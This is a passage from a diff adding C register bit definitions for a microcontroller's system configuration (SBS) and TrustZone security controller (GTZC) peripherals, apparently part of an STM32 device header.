interrupts enable */ +#define SBS_FPUIMR_FPU_IE_0 (0x1UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000001 - Invalid operation Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_1 (0x2UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000002 - Divide-by-zero Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_2 (0x4UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000004 - Underflow Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_3 (0x8UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000008 - Overflow Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_4 (0x10UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000010 - Input denormal Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_5 (0x20UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000020 - Inexact Interrupt enable (interrupt disabled at reset) */ + +/****************** Bit definition for SBS_MESR register ****************/ +#define SBS_MESR_MCLR_Pos (0U) +#define SBS_MESR_MCLR_Msk (0x1UL << SBS_MESR_MCLR_Pos) /*!< 0x00000001 */ +#define SBS_MESR_MCLR SBS_MESR_MCLR_Msk /*!< Status of Erase after Reset */ +#define SBS_MESR_IPMEE_Pos (16U) +#define SBS_MESR_IPMEE_Msk (0x1UL << SBS_MESR_IPMEE_Pos) /*!< 0x00010000 */ +#define SBS_MESR_IPMEE SBS_MESR_IPMEE_Msk /*!< Status of End of Erase for ICache and PKA RAMs */ + +/****************** Bit definition for SBS_CCCSR register ****************/ +#define SBS_CCCSR_EN1_Pos (0U) +#define SBS_CCCSR_EN1_Msk (0x1UL << SBS_CCCSR_EN1_Pos) /*!< 0x00000001 */ +#define SBS_CCCSR_EN1 SBS_CCCSR_EN1_Msk /*!< Enable compensation cell for VDD power rail */ +#define SBS_CCCSR_CS1_Pos (1U) +#define SBS_CCCSR_CS1_Msk (0x1UL << SBS_CCCSR_CS1_Pos) /*!< 0x00000002 */ +#define SBS_CCCSR_CS1 SBS_CCCSR_CS1_Msk /*!< Code selection for VDD power rail */ +#define SBS_CCCSR_EN2_Pos (2U) +#define SBS_CCCSR_EN2_Msk (0x1UL << SBS_CCCSR_EN2_Pos) /*!< 0x00000004 */ +#define SBS_CCCSR_EN2 SBS_CCCSR_EN2_Msk /*!< Enable compensation cell for VDDIO power rail */ +#define SBS_CCCSR_CS2_Pos (3U) +#define SBS_CCCSR_CS2_Msk (0x1UL << SBS_CCCSR_CS2_Pos) /*!< 0x00000008 */ +#define SBS_CCCSR_CS2 SBS_CCCSR_CS2_Msk /*!< Code selection for VDDIO power rail */ +#define SBS_CCCSR_RDY1_Pos (8U) +#define SBS_CCCSR_RDY1_Msk (0x1UL << SBS_CCCSR_RDY1_Pos) /*!< 0x00000100 */ +#define SBS_CCCSR_RDY1 SBS_CCCSR_RDY1_Msk /*!< VDD compensation cell ready flag */ +#define SBS_CCCSR_RDY2_Pos (9U) +#define SBS_CCCSR_RDY2_Msk (0x1UL << SBS_CCCSR_RDY2_Pos) /*!< 0x00000200 */ +#define SBS_CCCSR_RDY2 SBS_CCCSR_RDY2_Msk /*!< VDDIO compensation cell ready flag */ + +/****************** Bit definition for SBS_CCVALR register ****************/ +#define SBS_CCVALR_ANSRC1_Pos (0U) +#define SBS_CCVALR_ANSRC1_Msk (0xFUL << SBS_CCVALR_ANSRC1_Pos) /*!< 0x0000000F */ +#define SBS_CCVALR_ANSRC1 SBS_CCVALR_ANSRC1_Msk /*!< NMOS compensation value */ +#define SBS_CCVALR_APSRC1_Pos (4U) +#define SBS_CCVALR_APSRC1_Msk (0xFUL << SBS_CCVALR_APSRC1_Pos) /*!< 0x000000F0 */ +#define SBS_CCVALR_APSRC1 SBS_CCVALR_APSRC1_Msk /*!< PMOS compensation value */ +#define SBS_CCVALR_ANSRC2_Pos (8U) +#define SBS_CCVALR_ANSRC2_Msk (0xFUL << SBS_CCVALR_ANSRC2_Pos) /*!< 0x00000F00 */ +#define SBS_CCVALR_ANSRC2 SBS_CCVALR_ANSRC2_Msk /*!< NMOS compensation value */ +#define SBS_CCVALR_APSRC2_Pos (12U) +#define SBS_CCVALR_APSRC2_Msk (0xFUL << SBS_CCVALR_APSRC2_Pos) /*!< 0x0000F000 */ +#define SBS_CCVALR_APSRC2 SBS_CCVALR_APSRC2_Msk /*!< PMOS compensation value */ + +/****************** Bit definition for SBS_CCSWCR register ****************/ +#define SBS_CCSWCR_SW_ANSRC1_Pos (0U) +#define SBS_CCSWCR_SW_ANSRC1_Msk (0xFUL << SBS_CCSWCR_SW_ANSRC1_Pos) /*!< 0x0000000F */ +#define SBS_CCSWCR_SW_ANSRC1 SBS_CCSWCR_SW_ANSRC1_Msk /*!< NMOS compensation code for VDD Power Rail */ +#define SBS_CCSWCR_SW_APSRC1_Pos (4U) +#define SBS_CCSWCR_SW_APSRC1_Msk (0xFUL << SBS_CCSWCR_SW_APSRC1_Pos) /*!< 0x000000F0 */ +#define SBS_CCSWCR_SW_APSRC1 SBS_CCSWCR_SW_APSRC1_Msk /*!< PMOS compensation code for VDD Power Rail */ +#define SBS_CCSWCR_SW_ANSRC2_Pos (8U) +#define SBS_CCSWCR_SW_ANSRC2_Msk (0xFUL << SBS_CCSWCR_SW_ANSRC2_Pos) /*!< 0x00000F00 */ +#define SBS_CCSWCR_SW_ANSRC2 SBS_CCSWCR_SW_ANSRC2_Msk /*!< NMOS compensation code for VDDIO Power Rail */ +#define SBS_CCSWCR_SW_APSRC2_Pos (12U) +#define SBS_CCSWCR_SW_APSRC2_Msk (0xFUL << SBS_CCSWCR_SW_APSRC2_Pos) /*!< 0x0000F000 */ +#define SBS_CCSWCR_SW_APSRC2 SBS_CCSWCR_SW_APSRC2_Msk /*!< PMOS compensation code for VDDIO Power Rail */ + +/****************** Bit definition for SBS_CFGR2 register ****************/ +#define SBS_CFGR2_CLL_Pos (0U) +#define SBS_CFGR2_CLL_Msk (0x1UL << SBS_CFGR2_CLL_Pos) /*!< 0x00000001 */ +#define SBS_CFGR2_CLL SBS_CFGR2_CLL_Msk /*!< Core Lockup Lock */ +#define SBS_CFGR2_SEL_Pos (1U) +#define SBS_CFGR2_SEL_Msk (0x1UL << SBS_CFGR2_SEL_Pos) /*!< 0x00000002 */ +#define SBS_CFGR2_SEL SBS_CFGR2_SEL_Msk /*!< SRAM ECC Lock */ +#define SBS_CFGR2_PVDL_Pos (2U) +#define SBS_CFGR2_PVDL_Msk (0x1UL << SBS_CFGR2_PVDL_Pos) /*!< 0x00000004 */ +#define SBS_CFGR2_PVDL SBS_CFGR2_PVDL_Msk /*!< PVD Lock */ +#define SBS_CFGR2_ECCL_Pos (3U) +#define SBS_CFGR2_ECCL_Msk (0x1UL << SBS_CFGR2_ECCL_Pos) /*!< 0x00000008 */ +#define SBS_CFGR2_ECCL SBS_CFGR2_ECCL_Msk /*!< Flash ECC Lock*/ + +/******************** Bit definition for SBS_SECCFGR register ***************/ +#define SBS_SECCFGR_SBSSEC_Pos (0U) +#define SBS_SECCFGR_SBSSEC_Msk (0x1UL << SBS_SECCFGR_SBSSEC_Pos) /*!< 0x00000001 */ +#define SBS_SECCFGR_SBSSEC SBS_SECCFGR_SBSSEC_Msk /*!< SBS clock control security enable */ +#define SBS_SECCFGR_CLASSBSEC_Pos (1U) +#define SBS_SECCFGR_CLASSBSEC_Msk (0x1UL << SBS_SECCFGR_CLASSBSEC_Pos) /*!< 0x00000002 */ +#define SBS_SECCFGR_CLASSBSEC SBS_SECCFGR_CLASSBSEC_Msk /*!< ClassB SBS security enable */ +#define SBS_SECCFGR_FPUSEC_Pos (3U) +#define SBS_SECCFGR_FPUSEC_Msk (0x1UL << SBS_SECCFGR_FPUSEC_Pos) /*!< 0x00000008 */ +#define SBS_SECCFGR_FPUSEC SBS_SECCFGR_FPUSEC_Msk /*!< FPU SBS security enable */ + +/****************** Bit definition for SBS_CNSLCKR register **************/ +#define SBS_CNSLCKR_LOCKNSVTOR_Pos (0U) +#define SBS_CNSLCKR_LOCKNSVTOR_Msk (0x1UL << SBS_CNSLCKR_LOCKNSVTOR_Pos) /*!< 0x00000001 */ +#define SBS_CNSLCKR_LOCKNSVTOR SBS_CNSLCKR_LOCKNSVTOR_Msk /*!< Disable VTOR_NS register writes by SW or debug agent */ +#define SBS_CNSLCKR_LOCKNSMPU_Pos (1U) +#define SBS_CNSLCKR_LOCKNSMPU_Msk (0x1UL << SBS_CNSLCKR_LOCKNSMPU_Pos) /*!< 0x00000002 */ +#define SBS_CNSLCKR_LOCKNSMPU SBS_CNSLCKR_LOCKNSMPU_Msk /*!< Disable Non-Secure MPU registers writes by SW or debug agent */ + +/****************** Bit definition for SBS_CSLCKR register ***************/ +#define SBS_CSLCKR_LOCKSVTAIRCR_Pos (0U) +#define SBS_CSLCKR_LOCKSVTAIRCR_Msk (0x1UL << SBS_CSLCKR_LOCKSVTAIRCR_Pos) /*!< 0x00000001 */ +#define SBS_CSLCKR_LOCKSVTAIRCR SBS_CSLCKR_LOCKSVTAIRCR_Msk /*!< Disable changes to the secure vector table address, handling of system faults */ +#define SBS_CSLCKR_LOCKSMPU_Pos (1U) +#define SBS_CSLCKR_LOCKSMPU_Msk (0x1UL << SBS_CSLCKR_LOCKSMPU_Pos) /*!< 0x00000002 */ +#define SBS_CSLCKR_LOCKSMPU SBS_CSLCKR_LOCKSMPU_Msk /*!< Disable changes to the secure MPU registers writes by SW or debug agent */ +#define SBS_CSLCKR_LOCKSAU_Pos (2U) +#define SBS_CSLCKR_LOCKSAU_Msk (0x1UL << SBS_CSLCKR_LOCKSAU_Pos) /*!< 0x00000004 */ +#define SBS_CSLCKR_LOCKSAU SBS_CSLCKR_LOCKSAU_Msk /*!< Disable changes to SAU registers */ + +/****************** Bit definition for SBS_ECCNMIR register ***************/ +#define SBS_ECCNMIR_ECCNMI_MASK_EN_Pos (0U) +#define SBS_ECCNMIR_ECCNMI_MASK_EN_Msk (0x1UL << SBS_ECCNMIR_ECCNMI_MASK_EN_Pos) /*!< 0x00000001 */ +#define SBS_ECCNMIR_ECCNMI_MASK_EN SBS_ECCNMIR_ECCNMI_MASK_EN_Msk /*!< Disable NMI in case of double ECC error in flash interface */ + +/*****************************************************************************/ +/* */ +/* Global TrustZone Control */ +/* */ +/*****************************************************************************/ +/******************* Bits definition for GTZC_TZSC_CR register ******************/ +#define GTZC_TZSC_CR_LCK_Pos (0U) +#define GTZC_TZSC_CR_LCK_Msk (0x01UL << GTZC_TZSC_CR_LCK_Pos) /*!< 0x00000001 */ + +/******************* Bits definition for GTZC_TZSC_MPCWM_CFGR register **********/ +#define GTZC_TZSC_MPCWM_CFGR_SREN_Pos (0U) +#define GTZC_TZSC_MPCWM_CFGR_SREN_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_SREN_Pos) +#define GTZC_TZSC_MPCWM_CFGR_SREN GTZC_TZSC_MPCWM_CFGR_SREN_Msk +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK_Pos (1U) +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_SRLOCK_Pos) +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK GTZC_TZSC_MPCWM_CFGR_SRLOCK_Msk +#define GTZC_TZSC_MPCWM_CFGR_SEC_Pos (8U) +#define GTZC_TZSC_MPCWM_CFGR_SEC_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_SEC_Pos) +#define GTZC_TZSC_MPCWM_CFGR_SEC GTZC_TZSC_MPCWM_CFGR_SEC_Msk +#define GTZC_TZSC_MPCWM_CFGR_PRIV_Pos (9U) +#define GTZC_TZSC_MPCWM_CFGR_PRIV_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_PRIV_Pos) +#define GTZC_TZSC_MPCWM_CFGR_PRIV GTZC_TZSC_MPCWM_CFGR_PRIV_Msk + +/******************* Bits definition for GTZC_TZSC_MPCWMR register **************/ +#define GTZC_TZSC_MPCWMR_SUBZ_START_Pos (0U) +#define GTZC_TZSC_MPCWMR_SUBZ_START_Msk (0x7FFUL << GTZC_TZSC_MPCWMR_SUBZ_START_Pos) +#define GTZC_TZSC_MPCWMR_SUBZ_START GTZC_TZSC_MPCWMR_SUBZ_START_Msk +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Pos (16U) +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Msk (0xFFFUL << GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Pos) +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Msk + +/******* Bits definition for TZSC _SECCFGRx/_PRIVCFGRx registers *****/ +/******* Bits definition for TZIC _IERx/_SRx/_IFCRx registers *****/ + +/*************** Bits definition for register x=1 (TZSC1) *************/ +#define GTZC_CFGR1_TIM2_Pos (0U) +#define GTZC_CFGR1_TIM2_Msk (0x01UL << GTZC_CFGR1_TIM2_Pos) +#define GTZC_CFGR1_TIM3_Pos (1U) +#define GTZC_CFGR1_TIM3_Msk (0x01UL << GTZC_CFGR1_TIM3_Pos) +#define GTZC_CFGR1_TIM4_Pos (2U) +#define GTZC_CFGR1_TIM4_Msk (0x01UL << GTZC_CFGR1_TIM4_Pos) +#define GTZC_CFGR1_TIM5_Pos (3U) +#define GTZC_CFGR1_TIM5_Msk (0x01UL << GTZC_CFGR1_TIM5_Pos) +#define GTZC_CFGR1_TIM6_Pos (4U) +#define GTZC_CFGR1_TIM6_Msk (0x01UL << GTZC_CFGR1_TIM6_Pos) +#define GTZC_CFGR1_TIM7_Pos (5U) +#define GTZC_CFGR1_TIM7_Msk (0x01UL << GTZC_CFGR1_TIM7_Pos) +#define GTZC_CFGR1_TIM12_Pos (6U) +#define GTZC_CFGR1_TIM12_Msk (0x01UL << GTZC_CFGR1_TIM12_Pos) +#define GTZC_CFGR1_WWDG_Pos (9U) +#define GTZC_CFGR1_WWDG_Msk (0x01UL << GTZC_CFGR1_WWDG_Pos) +#define GTZC_CFGR1_IWDG_Pos (10U) +#define GTZC_CFGR1_IWDG_Msk (0x01UL << GTZC_CFGR1_IWDG_Pos) +#define GTZC_CFGR1_SPI2_Pos (11U) +#define GTZC_CFGR1_SPI2_Msk (0x01UL << GTZC_CFGR1_SPI2_Pos) +#define GTZC_CFGR1_SPI3_Pos (12U) +#define GTZC_CFGR1_SPI3_Msk (0x01UL << GTZC_CFGR1_SPI3_Pos) +#define GTZC_CFGR1_USART2_Pos (13U) +#define GTZC_CFGR1_USART2_Msk (0x01UL << GTZC_CFGR1_USART2_Pos) +#define GTZC_CFGR1_USART3_Pos (14U) +#define GTZC_CFGR1_USART3_Msk (0x01UL << GTZC_CFGR1_USART3_Pos) +#define GTZC_CFGR1_UART4_Pos (15U) +#define GTZC_CFGR1_UART4_Msk (0x01UL << GTZC_CFGR1_UART4_Pos) +#define GTZC_CFGR1_UART5_Pos (16U) +#define GTZC_CFGR1_UART5_Msk (0x01UL << GTZC_CFGR1_UART5_Pos) +#define GTZC_CFGR1_I2C1_Pos (17U) +#define GTZC_CFGR1_I2C1_Msk (0x01UL << GTZC_CFGR1_I2C1_Pos) +#define GTZC_CFGR1_I2C2_Pos (18U) +#define GTZC_CFGR1_I2C2_Msk (0x01UL << GTZC_CFGR1_I2C2_Pos) +#define GTZC_CFGR1_I3C1_Pos (19U) +#define GTZC_CFGR1_I3C1_Msk (0x01UL << GTZC_CFGR1_I3C1_Pos) +#define GTZC_CFGR1_CRS_Pos (20U) +#define GTZC_CFGR1_CRS_Msk (0x01UL << GTZC_CFGR1_CRS_Pos) +#define GTZC_CFGR1_USART6_Pos (21U) +#define GTZC_CFGR1_USART6_Msk (0x01UL << GTZC_CFGR1_USART6_Pos) +#define GTZC_CFGR1_HDMICEC_Pos (24U) +#define GTZC_CFGR1_HDMICEC_Msk (0x01UL << GTZC_CFGR1_HDMICEC_Pos) +#define GTZC_CFGR1_DAC1_Pos (25U) +#define GTZC_CFGR1_DAC1_Msk (0x01UL << GTZC_CFGR1_DAC1_Pos) +#define GTZC_CFGR1_DTS_Pos (30U) +#define GTZC_CFGR1_DTS_Msk (0x01UL << GTZC_CFGR1_DTS_Pos) +#define GTZC_CFGR1_LPTIM2_Pos (31U) +#define GTZC_CFGR1_LPTIM2_Msk (0x01UL << GTZC_CFGR1_LPTIM2_Pos) + +/*************** Bits definition for register x=2 (TZSC1) *************/ +#define GTZC_CFGR2_FDCAN1_Pos (0U) +#define GTZC_CFGR2_FDCAN1_Msk (0x01UL << GTZC_CFGR2_FDCAN1_Pos) +#define GTZC_CFGR2_FDCAN2_Pos (1U) +#define GTZC_CFGR2_FDCAN2_Msk (0x01UL << GTZC_CFGR2_FDCAN2_Pos) +#define GTZC_CFGR2_UCPD1_Pos (2U) +#define GTZC_CFGR2_UCPD1_Msk (0x01UL << GTZC_CFGR2_UCPD1_Pos) +#define GTZC_CFGR2_TIM1_Pos (8U) +#define GTZC_CFGR2_TIM1_Msk (0x01UL << GTZC_CFGR2_TIM1_Pos) +#define GTZC_CFGR2_SPI1_Pos (9U) +#define GTZC_CFGR2_SPI1_Msk (0x01UL << GTZC_CFGR2_SPI1_Pos) +#define GTZC_CFGR2_TIM8_Pos (10U) +#define GTZC_CFGR2_TIM8_Msk (0x01UL << GTZC_CFGR2_TIM8_Pos) +#define GTZC_CFGR2_USART1_Pos (11U) +#define GTZC_CFGR2_USART1_Msk (0x01UL << GTZC_CFGR2_USART1_Pos) +#define GTZC_CFGR2_TIM15_Pos (12U) +#define GTZC_CFGR2_TIM15_Msk (0x01UL << GTZC_CFGR2_TIM15_Pos) +#define GTZC_CFGR2_SPI4_Pos (15U) +#define GTZC_CFGR2_SPI4_Msk (0x01UL << GTZC_CFGR2_SPI4_Pos) +#define GTZC_CFGR2_USB_Pos (19U) +#define GTZC_CFGR2_USB_Msk (0x01UL << GTZC_CFGR2_USB_Pos) +#define GTZC_CFGR2_LPUART1_Pos (25U) +#define GTZC_CFGR2_LPUART1_Msk (0x01UL << GTZC_CFGR2_LPUART1_Pos) +#define GTZC_CFGR2_I2C3_Pos (26U) +#define GTZC_CFGR2_I2C3_Msk (0x01UL << GTZC_CFGR2_I2C3_Pos) +#define GTZC_CFGR2_LPTIM1_Pos (28U) +#define GTZC_CFGR2_LPTIM1_Msk (0x01UL << GTZC_CFGR2_LPTIM1_Pos) + +/*************** Bits definition for register x=3 (TZSC1) *************/ +#define GTZC_CFGR3_VREFBUF_Pos (1U) +#define GTZC_CFGR3_VREFBUF_Msk (0x01UL << GTZC_CFGR3_VREFBUF_Pos) +#define GTZC_CFGR3_I3C2_Pos (2U) +#define GTZC_CFGR3_I3C2_Msk (0x01UL << GTZC_CFGR3_I3C2_Pos) +#define GTZC_CFGR3_CRC_Pos (8U) +#define GTZC_CFGR3_CRC_Msk (0x01UL << GTZC_CFGR3_CRC_Pos) +#define GTZC_CFGR3_ICACHE_REG_Pos (12U) +#define GTZC_CFGR3_ICACHE_REG_Msk (0x01UL << GTZC_CFGR3_ICACHE_REG_Pos) +#define GTZC_CFGR3_DCACHE1_REG_Pos (13U) +#define GTZC_CFGR3_DCACHE1_REG_Msk (0x01UL << GTZC_CFGR3_DCACHE1_REG_Pos) +#define GTZC_CFGR3_ADC_Pos (14U) +#define GTZC_CFGR3_ADC_Msk (0x01UL << GTZC_CFGR3_ADC_Pos) +#define GTZC_CFGR3_DCMI_PSSI_Pos (15U) +#define GTZC_CFGR3_DCMI_PSSI_Msk (0x01UL << GTZC_CFGR3_DCMI_PSSI_Pos) +#define GTZC_CFGR3_AES_Pos (16U) +#define GTZC_CFGR3_AES_Msk (0x01UL << GTZC_CFGR3_AES_Pos) +#define GTZC_CFGR3_HASH_Pos (17U) +#define GTZC_CFGR3_HASH_Msk (0x01UL << GTZC_CFGR3_HASH_Pos) +#define GTZC_CFGR3_RNG_Pos (18U) +#define GTZC_CFGR3_RNG_Msk (0x01UL << GTZC_CFGR3_RNG_Pos) +#define GTZC_CFGR3_SAES_Pos (19U) +#define GTZC_CFGR3_SAES_Msk (0x01UL << GTZC_CFGR3_SAES_Pos) +#define GTZC_CFGR3_PKA_Pos (20U) +#define GTZC_CFGR3_PKA_Msk (0x01UL << GTZC_CFGR3_PKA_Pos) +#define GTZC_CFGR3_SDMMC1_Pos (21U) +#define GTZC_CFGR3_SDMMC1_Msk (0x01UL << GTZC_CFGR3_SDMMC1_Pos) +#define GTZC_CFGR3_FMC_REG_Pos (23U) +#define GTZC_CFGR3_FMC_REG_Msk (0x01UL << GTZC_CFGR3_FMC_REG_Pos) +#define GTZC_CFGR3_OCTOSPI1_Pos (24U) +#define GTZC_CFGR3_OCTOSPI1_Msk (0x01UL << GTZC_CFGR3_OCTOSPI1_Pos) +#define GTZC_CFGR3_RAMCFG_Pos (26U) +#define GTZC_CFGR3_RAMCFG_Msk (0x01UL << GTZC_CFGR3_RAMCFG_Pos) + +/*************** Bits definition for register x=4 (TZSC1) *************/ +#define GTZC_CFGR4_GPDMA1_Pos (0U) +#define GTZC_CFGR4_GPDMA1_Msk (0x01UL << GTZC_CFGR4_GPDMA1_Pos) +#define GTZC_CFGR4_GPDMA2_Pos (1U) +#define GTZC_CFGR4_GPDMA2_Msk (0x01UL << GTZC_CFGR4_GPDMA2_Pos) +#define GTZC_CFGR4_FLASH_Pos (2U) +#define GTZC_CFGR4_FLASH_Msk (0x01UL << GTZC_CFGR4_FLASH_Pos) +#define GTZC_CFGR4_FLASH_REG_Pos (3U) +#define GTZC_CFGR4_FLASH_REG_Msk (0x01UL << GTZC_CFGR4_FLASH_REG_Pos) + +#define GTZC_CFGR4_OTFDEC1_Pos (4U) +#define GTZC_CFGR4_OTFDEC1_Msk (0x01UL << GTZC_CFGR4_OTFDEC1_Pos) +#define GTZC_CFGR4_SBS_Pos (6U) +#define GTZC_CFGR4_SBS_Msk (0x01UL << GTZC_CFGR4_SBS_Pos) +#define GTZC_CFGR4_RTC_Pos (7U) +#define GTZC_CFGR4_RTC_Msk (0x01UL << GTZC_CFGR4_RTC_Pos) +#define GTZC_CFGR4_TAMP_Pos (8U) +#define GTZC_CFGR4_TAMP_Msk (0x01UL << GTZC_CFGR4_TAMP_Pos) +#define GTZC_CFGR4_PWR_Pos (9U) +#define GTZC_CFGR4_PWR_Msk (0x01UL << GTZC_CFGR4_PWR_Pos) +#define GTZC_CFGR4_RCC_Pos (10U) +#define GTZC_CFGR4_RCC_Msk (0x01UL << GTZC_CFGR4_RCC_Pos) +#define GTZC_CFGR4_EXTI_Pos (11U) +#define GTZC_CFGR4_EXTI_Msk (0x01UL << GTZC_CFGR4_EXTI_Pos) +#define GTZC_CFGR4_TZSC_Pos (16U) +#define GTZC_CFGR4_TZSC_Msk (0x01UL << GTZC_CFGR4_TZSC_Pos) +#define GTZC_CFGR4_TZIC_Pos (17U) +#define GTZC_CFGR4_TZIC_Msk (0x01UL << GTZC_CFGR4_TZIC_Pos) +#define GTZC_CFGR4_OCTOSPI1_MEM_Pos (18U) +#define GTZC_CFGR4_OCTOSPI1_MEM_Msk (0x01UL << GTZC_CFGR4_OCTOSPI1_MEM_Pos) +#define GTZC_CFGR4_FMC_MEM_Pos (19U) +#define GTZC_CFGR4_FMC_MEM_Msk (0x01UL << GTZC_CFGR4_FMC_MEM_Pos) +#define GTZC_CFGR4_BKPSRAM_Pos (20U) +#define GTZC_CFGR4_BKPSRAM_Msk (0x01UL << GTZC_CFGR4_BKPSRAM_Pos) +#define GTZC_CFGR4_SRAM1_Pos (24U) +#define GTZC_CFGR4_SRAM1_Msk (0x01UL << GTZC_CFGR4_SRAM1_Pos) +#define GTZC_CFGR4_MPCBB1_REG_Pos (25U) +#define GTZC_CFGR4_MPCBB1_REG_Msk (0x01UL << GTZC_CFGR4_MPCBB1_REG_Pos) +#define GTZC_CFGR4_SRAM2_Pos (26U) +#define GTZC_CFGR4_SRAM2_Msk (0x01UL << GTZC_CFGR4_SRAM2_Pos) +#define GTZC_CFGR4_MPCBB2_REG_Pos (27U) +#define GTZC_CFGR4_MPCBB2_REG_Msk (0x01UL << GTZC_CFGR4_MPCBB2_REG_Pos) +#define GTZC_CFGR4_SRAM3_Pos (28U) +#define GTZC_CFGR4_SRAM3_Msk (0x01UL << GTZC_CFGR4_SRAM3_Pos) +#define GTZC_CFGR4_MPCBB3_REG_Pos (29U) +#define GTZC_CFGR4_MPCBB3_REG_Msk (0x01UL << GTZC_CFGR4_MPCBB3_REG_Pos) + +/******************* Bits definition for GTZC_TZSC1_SECCFGR1 register ***************/ +#define GTZC_TZSC1_SECCFGR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZSC1_SECCFGR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZSC1_SECCFGR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZSC1_SECCFGR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZSC1_SECCFGR1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZSC1_SECCFGR1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZSC1_SECCFGR1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZSC1_SECCFGR1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZSC1_SECCFGR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZSC1_SECCFGR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZSC1_SECCFGR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZSC1_SECCFGR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZSC1_SECCFGR1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZSC1_SECCFGR1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZSC1_SECCFGR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZSC1_SECCFGR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZSC1_SECCFGR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZSC1_SECCFGR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZSC1_SECCFGR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZSC1_SECCFGR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZSC1_SECCFGR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZSC1_SECCFGR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZSC1_SECCFGR1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZSC1_SECCFGR1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZSC1_SECCFGR1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZSC1_SECCFGR1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZSC1_SECCFGR1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZSC1_SECCFGR1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZSC1_SECCFGR1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZSC1_SECCFGR1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZSC1_SECCFGR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZSC1_SECCFGR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZSC1_SECCFGR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZSC1_SECCFGR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZSC1_SECCFGR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZSC1_SECCFGR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZSC1_SECCFGR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZSC1_SECCFGR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZSC1_SECCFGR1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZSC1_SECCFGR1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZSC1_SECCFGR1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZSC1_SECCFGR1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZSC1_SECCFGR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZSC1_SECCFGR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZSC1_SECCFGR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZSC1_SECCFGR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZSC1_SECCFGR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZSC1_SECCFGR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZSC_SECCFGR2 register ***************/ +#define GTZC_TZSC1_SECCFGR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZSC1_SECCFGR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZSC1_SECCFGR2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZSC1_SECCFGR2_FDCAN2_Msk 